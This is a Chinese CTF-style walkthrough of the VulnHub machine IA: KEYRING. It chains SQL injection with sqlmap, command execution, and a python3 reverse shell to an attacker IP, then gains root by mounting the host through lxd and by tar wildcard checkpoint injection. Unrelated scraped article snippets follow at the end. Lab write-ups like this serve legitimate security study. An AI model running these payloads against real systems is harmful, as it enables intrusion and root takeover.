准备:

攻击机:虚拟机kali、本机win10。

靶机:IA: KEYRING (1.0.1),下载地址:https://download.vulnhub.com/ia/keyring-v1.01.ova,下载后直接vbox打开即可。

知识点:lxd提权、tar通配符提权、命令执行、sql注入、ida逆向、源码分析、gobuster目录扫描。

端口扫描:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 172.18.8.0/24,获得靶机地址:172.18.8.191。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.18.8.191,显示开放了22、80端口,开启了ssh服务和http服务。

web信息收集:

访问:http://172.18.8.191/是一个登录注册页面,进行账号信息注册然后进行登录,但是注册admin时显示该账户已存在,那我们就注册一个别的账户:upfine/upfine,然后进行登录。

登录时输入账号和密码信息一直不会跳转登录,查看页面源码信息,在其源码信息中发现登录页面:login.php,访问:http://172.18.8.191/login.php页面使用账户:upfine/upfine进行登录。

成功登陆后发现给与我们的提示信息,简单的告诉了我们什么是参数污染,但是在这几个界面中未发现参数的传递。

目录扫描:

使用gobuster进行目录扫描,发现about.php、index.php、history.php等页面,其中history.php页面是新多出来的页面。

打开该页面是一个空白页面,但是当退出之后在访问该页面会告诉我们不能找到某个用户的活动,因此猜测我们需要传入用户名参数user。

当我们传输user参数时:http://172.18.8.191/history.php?user=upfine,这时候又需要我们登录账户才可以,想到注册时告诉我们admin账户已存在,那我们也查看下admin账户信息,给我们返回了一个代码仓库地址:https://github.com/cyberbot75/keyring。

源码分析:

通过该地址下载下来页面源码信息,在control.php源码中发现了数据库的账户和密码信息:root/sqluserrootpassw0r4,数据库:users,以及不安全的函数system()。测试该函数是否可以进行命令执行,命令:http://172.18.8.191/control.php?cmdcntr=id,但是未回显任何信息,猜测是账户权限问题。

SQL注入:

在此页面:http://172.18.8.191/history.php?user=upfine,进行了简单的注入测试,发现存在注入点。

那就使用sqlmap获取下表名、列明和具体的数据信息,数据库名称在源码文件中已知:users。sqlmap命令如下,最终发现了两组账户和密码:admin/myadmin#p4szw0r4d、john/Sup3r$S3cr3t$PasSW0RD。

获取表名
sqlmap -u http://172.18.8.191/history.php?user=admin --cookie='PHPSESSID=jno08545neep7psrg6phni549c' --batch -D users --tables
获取表的数据
sqlmap -u http://172.18.8.191/history.php?user=admin --cookie='PHPSESSID=jno08545neep7psrg6phni549c' --batch -D users -T details --dump

获取shell:

使用我们获得的账户信息:admin/myadmin#p4szw0r4d进行登录,然后测试命令执行,此时命令执行成功。

利用命令执行函数直接反弹shell,命令如下:http://172.18.8.191/control.php?cmdcntr=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22172.18.8.120%22,6688));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22sh%22)%27,在kali中开启对6688端口的监听,成功获得shell权限。

其余几种方式经测试无法反弹shell,可以在这个网站找各语言的反弹shell语句进行测试:https://www.revshells.com/
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.8.120",6688));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

提权方式一-lxd提权:

在/home目录下发现john账户,加上我们之前发现的账户信息:john/Sup3r$S3cr3t$PasSW0RD,那我们就可以直接切换到john账户,成功切换到john账户后发现john账户具有lxd权限。

切换john账户后,在john目录下发现user.txt文件,读取该文件成功获取到第一个flag值。

首先在这个网站:https://github.com/saghul/lxd-alpine-builder.git下载tar.gz文件并上传到靶机,命令:wget http://172.18.8.120:8000/alpine-v3.13-x86_64.tar.gz。然后在依次执行如下命令,即可成功获得root权限,获得root权限后进入root目录:cd /mnt/root/root,发现root.txt文件并读取flag值。这里获取root权限后出现了一点乱码,但是整体不影响,之前遇到过三次了,所以这里就这样。

lxc image import ./alpine-v3.13-x86_64.tar.gz --alias myimage
lxd init #基本默认配置,进行回车就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

提权方式二-tar通配符提权:

将在/john目录下发现的compress文件下载下来。

在本地使用ida进行逆向分析,生成伪c代码,发现使用root权限执行了:/bin/tar cf archive.tar *,这里存在一个tar的通配符提权漏洞。

tar的通配符提权漏洞原理:当执行tar 命令时,通配符* 会自动被替换成参数。下面的话就是替换成我们的upfine.sh脚本,利用的payload如下,依次执行下面命令成功获得root权限,并在/root目录下发现root.txt文件,读取该文件成功获取到flag值。

echo "/bin/bash" > upfine.sh
echo "" > "--checkpoint-action=exec=sh upfine.sh"
echo "" > --checkpoint=1
./compress

vulnhub靶场之IA: KEYRING (1.0.1)的更多相关文章

  1. Vulnhub靶场渗透练习(一) Breach1.0

    打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...

  2. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  3. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  4. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  7. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  8. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

  9. vulnhub靶场之DRIPPING BLUES: 1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhu ...

  10. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

随机推荐

  1. 常用RE对照表——敬请期待!!!

    .* #任意长度任意字符

  2. Linux基础_2_bash功能

    查看当前shell:echo  $SHELL 查看可用shell:cat  /etc/shells 命令行编辑 光标跳到行首:Ctrl+a 光标跳到行尾:Ctrl+e 以单词为单位快速跳转光标:Ctr ...

  3. 齐博x1 二次开发的灵魂fun函数

    X1最强大之处,体现在灵活,扩展性强,在使用过程中,你会发现灵活之处非常之多. 现在跟大家讲一下,灵魂函数 fun() X1的核心函数文件是 application/common.php 随着模块频道 ...

  4. Cenots7 离线安装部署PostgreSQL

    1 PostgreSQL源码包下载并复制 1.1 PostgreSQL源码包下载: 访问PostgreSQL官网 选择所需版本进行下载,本次下载安装版本为v14.5 1.2 复制源码包至服务器 使用S ...

  5. CUDA/CUDNN下载安装以及适配pytorch和tensorflow

    CUDA以及CUDNN下载安装 在https://developer.nvidia.com/cuda-toolkit-archive可以找到各个版本的cuda,个人建议下载cuda11.0(也就是2年 ...

  6. JUC中的AQS底层详细超详解

    摘要:当你使用java实现一个线程同步的对象时,一定会包含一个问题:你该如何保证多个线程访问该对象时,正确地进行阻塞等待,正确地被唤醒? 本文分享自华为云社区<JUC中的AQS底层详细超详解,剖 ...

  7. MySQL 索引失效-模糊查询,最左匹配原则,OR条件等。

    索引失效 介绍 索引失效就是我们明明在查询时的条件为索引列(包括自己新建的索引),但是索引不能起效,走的是全表扫描.explain 后可查看type=ALL. 这是为什么呢? 首先介绍有以下几种情况索 ...

  8. CF815D

    模拟赛遇到的题目. 看各位大佬的做法都不是很懂,于是自己一通乱搞搞出来了. 题意 翻译清楚的不能再清楚了 做法 为了方便叙述,我们将每个给出的三元组表示成 \((a_i,b_i,c_i)\),所选的三 ...

  9. EasyPoi大数据导入导出百万级实例

    EasyPoi介绍: 利用注解的方式简化了Excel.Word.PDF等格式的导入导出,而且是百万级数据的导入导出.EasyPoi官方网址:EasyPoi教程_V1.0 (mydoc.io).下面我写 ...

  10. elasticsearch多字段聚合实现方式

    目录 1.背景 2.实现多字段聚合的思路 3.需求 4.数据准备 4.1 创建索引 4.2 准备数据 5.实现方式 5.1 multi_terms实现 5.1.1 dsl 5.1.2 java 代码 ...